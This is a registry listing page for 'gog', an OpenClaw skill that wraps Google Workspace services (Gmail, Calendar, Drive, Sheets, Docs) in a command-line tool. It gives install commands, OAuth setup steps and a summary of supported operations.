gog for Openclaw

A comprehensive command-line interface for managing Gmail, Calendar, Drive, Contacts, Sheets, and Docs.

sakaen736jih
v1.0.0
Feb 4, 2026
0
0
0

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install gog-ee3cg9w

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install gog-ee3cg9w using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is gog?

gog is a versatile CLI tool designed to bring the full power of Google Workspace to your terminal and automated workflows. By utilizing this skill, users can interact with essential Google services—including Gmail, Drive, and Sheets—without the need for a web browser. It is particularly effective when integrated into Openclaw Skills to enable AI agents to perform administrative and data-driven tasks programmatically.

Built for developers who value speed and automation, gog handles the complexities of OAuth 2.0 authentication and provides a unified command structure for disparate Google APIs. This makes it an essential component for building automated reporting systems, email filters, or document management pipelines.

gog Use Cases

  • Automating the sending of templated emails and searching for specific messages in Gmail.
  • Updating and appending data to Google Sheets from terminal scripts or external data sources.
  • Searching and downloading files from Google Drive for automated processing.
  • Managing and listing calendar events for better schedule visibility and automation.
  • Exporting Google Docs to local text formats for documentation and indexing.

How gog Works

  1. The user installs the gog binary and ensures the OpenClawProvider environment is active.
  2. OAuth credentials from the Google Cloud Console are provided to the tool to establish secure access.
  3. Specific Google accounts are authenticated and linked to chosen Workspace services.
  4. Commands are issued to the gog CLI, which interacts directly with Google's REST APIs.
  5. The tool returns structured data, often in JSON format, which can be piped to other utilities or processed by an AI agent.

gog Setup

This skill requires OpenClawProvider to be installed. Once active, install gog using brew:

brew install steipete/tap/gogcli

Configure your Google Cloud credentials and authenticate your account:

gog auth credentials /path/to/client_secret.json
gog auth add [email protected] --services gmail,calendar,drive,contacts,sheets,docs

Verify your setup with:

gog auth list

gog Data Schema & Taxonomy

The skill manages data across various Google services using the following structures:

Service Primary Operations Key Metadata
Gmail Search, Send, List Subject, To, From, Snippet
Sheets Get, Update, Append, Clear SheetId, Range, Values (JSON)
Calendar List Events CalendarId, ISO Timestamps
Drive Search, List FileId, Name, MimeType
Docs Export, Cat DocId, Format (txt/pdf)

gog Advanced Features

  • Support for JSON output (--json) and headless mode (--no-input) for advanced scripting and Openclaw Skills automation.
  • Global account selection via the GOG_ACCOUNT environment variable to simplify multi-account workflows.
  • Precise spreadsheet manipulation using USER_ENTERED input modes and JSON value arrays.
  • Flexible document handling including exporting Google Docs to various local file formats.
  • High-performance search queries for Gmail and Drive using native Google search syntax.

SKILL.md


Loading

Related Openclaw Skills

METADATA

Github Stars: 0
forks: 0

Featured*